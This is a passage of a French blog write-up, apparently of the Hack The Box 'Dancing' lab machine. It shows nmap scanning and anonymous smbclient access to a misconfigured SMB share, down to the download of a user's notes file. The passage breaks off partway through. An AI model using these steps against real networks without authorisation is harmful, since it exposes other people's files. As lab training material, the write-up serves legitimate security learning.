style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PING </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.63.29 </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.63.29</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">56</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">84</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> bytes of data.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.63.29: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">127</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">14.4</span><span class="token plain"> ms</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.63.29: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">2</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">127</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">13.5</span><span class="token plain"> ms</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.63.29: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">3</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">127</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">15.0</span><span class="token plain"> ms</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.63.29: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">4</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">127</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">137</span><span class="token plain"> ms</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">^C</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">--- </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.63.29 </span><span class="token function" style="color:#d73a49">ping</span><span class="token plain"> statistics ---</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">4</span><span class="token plain"> packets transmitted, </span><span class="token number" style="color:#36acaa">4</span><span class="token plain"> received, </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">% packet loss, </span><span class="token function" style="color:#d73a49">time</span><span class="token plain"> 3012ms</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">rtt min/avg/max/mdev </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">13.495</span><span class="token plain">/44.877/136.630/52.976 ms</span><br></span></code></pre></div></div>
<p>La machine répond (le <strong>TTL</strong> de 127 confirme souvent qu'on est face à du Windows), on peut passer à la suite.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="énumération-des-services-service-enumeration">Énumération des services (Service enumeration)<a href="https://mohamedoutougane.com/writeups/dancing#%C3%A9num%C3%A9ration-des-services-service-enumeration" class="hash-link" aria-label="Lien direct vers Énumération des services (Service enumeration)" title="Lien direct vers Énumération des services (Service enumeration)" translate="no">​</a></h3>
<p>On lance un scan des ports pour voir ce qui tourne sur la bête. <code>nmap</code> est notre meilleur pote pour ça. J'utilise le flag <code>-sV</code> pour essayer de choper les versions des services.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$nmap</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.63.29</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Starting Nmap </span><span class="token number" style="color:#36acaa">7</span><span class="token plain">.94SVN </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"> https://nmap.org </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> at </span><span class="token number" style="color:#36acaa">2025</span><span class="token plain">-12-01 </span><span class="token number" style="color:#36acaa">21</span><span class="token plain">:21 UTC</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Nmap scan report </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.63.29</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Host is up </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0</span><span class="token plain">.27s latency</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Not shown: </span><span class="token number" style="color:#36acaa">997</span><span class="token plain"> closed tcp ports </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">conn-refused</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PORT    STATE SERVICE       VERSION</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">135</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  msrpc         Microsoft Windows RPC</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">139</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  netbios-ssn   Microsoft Windows netbios-ssn</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">445</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  microsoft-ds?</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Service Info: OS: Windows</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> CPE: cpe:/o:microsoft:windows</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Service detection performed. Please report any incorrect results at https://nmap.org/submit/ </span><span class="token builtin class-name">.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Nmap done: </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> IP address </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">host</span><span class="token plain"> up</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> scanned </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">8.81</span><span class="token plain"> seconds</span><br></span></code></pre></div></div>
<p>On repère 3 ports ouverts : le <strong>135</strong>, le <strong>139</strong> et surtout le <strong>445</strong>. Le service sur le <strong>445</strong> est <strong>microsoft-ds</strong>, plus connu sous le nom de <strong>SMB</strong> (<strong>Server Message Block</strong>). C'est le protocole standard pour le partage de fichiers et d'imprimantes sur un réseau local. S'il est mal configuré, il permet parfois de s'y connecter sans mot de passe. C'est exactement ce qu'on va tester.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pré-exploitation">Pré-Exploitation<a href="https://mohamedoutougane.com/writeups/dancing#pr%C3%A9-exploitation" class="hash-link" aria-label="Lien direct vers Pré-Exploitation" title="Lien direct vers Pré-Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="evaluation-de-vulnérabilité-vulnerability-assessment">Evaluation de vulnérabilité (Vulnerability Assessment)<a href="https://mohamedoutougane.com/writeups/dancing#evaluation-de-vuln%C3%A9rabilit%C3%A9-vulnerability-assessment" class="hash-link" aria-label="Lien direct vers Evaluation de vulnérabilité (Vulnerability Assessment)" title="Lien direct vers Evaluation de vulnérabilité (Vulnerability Assessment)" translate="no">​</a></h3>
<p>Pour interagir avec <strong>SMB</strong> depuis notre terminal Linux, on utilise l'outil <code>smbclient</code>. L'objectif est d'abord de lister les dossiers partagés (shares) disponibles sur la machine. On utilise le flag <code>-L</code> (List).</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">✗</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$smbclient</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-L</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.63.29</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Password </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">WORKGROUP</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">user</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">:</span><br></span></code></pre></div></div>
<p>À cette étape, on nous demande un mot de passe. On appuie juste sur Entrée sans rien écrire pour tenter une connexion anonyme.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">Password </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">WORKGROUP</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">user</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"> Sharename       Type      Comment</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"> ---------       ----      -------</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"> ADMIN$          Disk      Remote Admin</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"> C$              Disk      Default share</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"> IPC$            IPC       Remote IPC</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"> WorkShares      Disk      </span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Reconnecting with SMB1 </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> workgroup listing.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">do_connect: Connection to </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.63.29 failed </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">Error NT_STATUS_RESOURCE_NAME_NOT_FOUND</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Unable to connect with SMB1 -- no workgroup available</span><br></span></code></pre></div></div>
<p>Bingo ! On voit 4 partages :</p>
<ul>
<li class=""><strong>ADMIN$</strong> et <strong>C$</strong> (souvent réservés aux admins)</li>
<li class=""><strong>IPC$</strong></li>
<li class=""><strong>WorkShares</strong> (celui-ci a l'air custom, c'est suspect 👀)</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation">Exploitation<a href="https://mohamedoutougane.com/writeups/dancing#exploitation" class="hash-link" aria-label="Lien direct vers Exploitation" title="Lien direct vers Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="accès-initial">Accès initial<a href="https://mohamedoutougane.com/writeups/dancing#acc%C3%A8s-initial" class="hash-link" aria-label="Lien direct vers Accès initial" title="Lien direct vers Accès initial" translate="no">​</a></h3>
<p>Maintenant, on va essayer de se connecter à chacun de ces dossiers pour voir ce qu'on peut gratter. On commence par les classiques <strong>ADMIN$</strong> et <strong>C$</strong>.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$smbclient</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token punctuation" style="color:#393A34">\</span><span class="token punctuation" style="color:#393A34">\</span><span class="token punctuation" style="color:#393A34">\</span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.63.29</span><span class="token punctuation" style="color:#393A34">\</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">ADMIN$</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Password </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">WORKGROUP</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">user</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">tree connect failed: NT_STATUS_ACCESS_DENIED</span><br></span></code></pre></div></div>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">✗</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$smbclient</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token punctuation" style="color:#393A34">\</span><span class="token punctuation" style="color:#393A34">\</span><span class="token punctuation" style="color:#393A34">\</span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.63.29</span><span class="token punctuation" style="color:#393A34">\</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">C$</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Password </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">WORKGROUP</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">user</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">tree connect failed: NT_STATUS_ACCESS_DENIED</span><br></span></code></pre></div></div>
<p>Comme prévu, "Access Denied". On n'a pas les droits. On tente <strong>IPC$</strong> :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">✗</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$smbclient</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token punctuation" style="color:#393A34">\</span><span class="token punctuation" style="color:#393A34">\</span><span class="token punctuation" style="color:#393A34">\</span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.63.29</span><span class="token punctuation" style="color:#393A34">\</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">IPC$</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Password </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">WORKGROUP</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">user</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Try </span><span class="token string" style="color:#e3116c">"help"</span><span class="token plain"> to get a list of possible commands.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">smb: </span><span class="token punctuation" style="color:#393A34">\</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">ls</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">NT_STATUS_NO_SUCH_FILE listing </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">*</span><br></span></code></pre></div></div>
<p>La connexion passe, mais il n'y a rien à voir. Il nous reste notre meilleur espoir, <strong>WorkShares</strong>.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$smbclient</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token punctuation" style="color:#393A34">\</span><span class="token punctuation" style="color:#393A34">\</span><span class="token punctuation" style="color:#393A34">\</span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.63.29</span><span class="token punctuation" style="color:#393A34">\</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">WorkShares</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Password </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">WORKGROUP</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">user</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Try </span><span class="token string" style="color:#e3116c">"help"</span><span class="token plain"> to get a list of possible commands.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">smb: </span><span class="token punctuation" style="color:#393A34">\</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">ls</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token builtin class-name">.</span><span class="token plain">                                   D        </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">  Mon Mar </span><span class="token number" style="color:#36acaa">29</span><span class="token plain"> 08:22:01 </span><span class="token number" style="color:#36acaa">2021</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">..</span><span class="token plain">                                  D        </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">  Mon Mar </span><span class="token number" style="color:#36acaa">29</span><span class="token plain"> 08:22:01 </span><span class="token number" style="color:#36acaa">2021</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  Amy.J                               D        </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">  Mon Mar </span><span class="token number" style="color:#36acaa">29</span><span class="token plain"> 09:08:24 </span><span class="token number" style="color:#36acaa">2021</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  James.P                             D        </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">  Thu Jun  </span><span class="token number" style="color:#36acaa">3</span><span class="token plain"> 08:38:03 </span><span class="token number" style="color:#36acaa">2021</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token number" style="color:#36acaa">5114111</span><span class="token plain"> blocks of size </span><span class="token number" style="color:#36acaa">4096</span><span class="token plain">. </span><span class="token number" style="color:#36acaa">1749358</span><span class="token plain"> blocks available</span><br></span></code></pre></div></div>
<p>Jackpot ! On est connecté et la commande <code>ls</code> nous révèle deux dossiers utilisateurs : <strong>Amy.J</strong> et <strong>James.P</strong>. Il est temps de fouiller (on loot on loot lol).</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="récupération-des-données">Récupération des données<a href="https://mohamedoutougane.com/writeups/dancing#r%C3%A9cup%C3%A9ration-des-donn%C3%A9es" class="hash-link" aria-label="Lien direct vers Récupération des données" title="Lien direct vers Récupération des données" translate="no">​</a></h3>
<p>On va explorer le dossier d'Amy en premier.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">smb: </span><span class="token punctuation" style="color:#393A34">\</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token builtin class-name">cd</span><span class="token plain"> Amy.J</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">smb: </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">Amy.J</span><span class="token punctuation" style="color:#393A34">\</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">ls</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token builtin class-name">.</span><span class="token plain">                                   D        </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">  Mon Mar </span><span class="token number" style="color:#36acaa">29</span><span class="token plain"> 09:08:24 </span><span class="token number" style="color:#36acaa">2021</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">..</span><span class="token plain">                                  D        </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">  Mon Mar </span><span class="token number" style="color:#36acaa">29</span><span class="token plain"> 09:08:24 </span><span class="token number" style="color:#36acaa">2021</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  worknotes.txt                       A       </span><span class="token number" style="color:#36acaa">94</span><span class="token plain">  Fri Mar </span><span class="token number" style="color:#36acaa">26</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">11</span><span class="token plain">:00:37 </span><span class="token number" style="color:#36acaa">2021</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token number" style="color:#36acaa">5114111</span><span class="token plain"> blocks of size </span><span class="token number" style="color:#36acaa">4096</span><span class="token plain">. </span><span class="token number" style="color:#36acaa">1749350</span><span class="token plain"> blocks available</span><br></span></code></pre></div></div>
<p>Il y a un fichier <strong>worknotes.txt</strong>. On le télécharge sur notre machine avec la commande <code>get</code>.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">smb: </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">Amy.J</span><span class="token punctuation" style="color:#393A34">\</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> get worknotes.txt</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">getting </span><span class="token function" style="color:#d73a49">file</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">Amy.J</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">worknotes.txt of size </span><span class="token number" style="color:#36acaa">94</span><span class="token plain"> as worknotes.txt </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">1.2</span><span class="token plain"> KiloBytes/sec</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">average </span><span class="token number" style="color:#36acaa">1.2</span><span class="token plain"> KiloBytes/sec</span><span class="token punctuation" style="color:#393A34">)</span><br></span></code></pre></div></div>
<p>Ensuite, on check chez James.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">smb: </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">Amy.J</span><span class="token punctuation" style="color:#393A34">\</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token builtin class-name">cd</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">..</span><span class="token plain">/James.P</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">smb: </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">James.P</span><span class="token punctuation" style="color:#393A34">\</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">ls</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token builtin class-name">.</span><span class="token plain">                                   D        </span><span class="token number" style="color:#36acaa">0</span><span 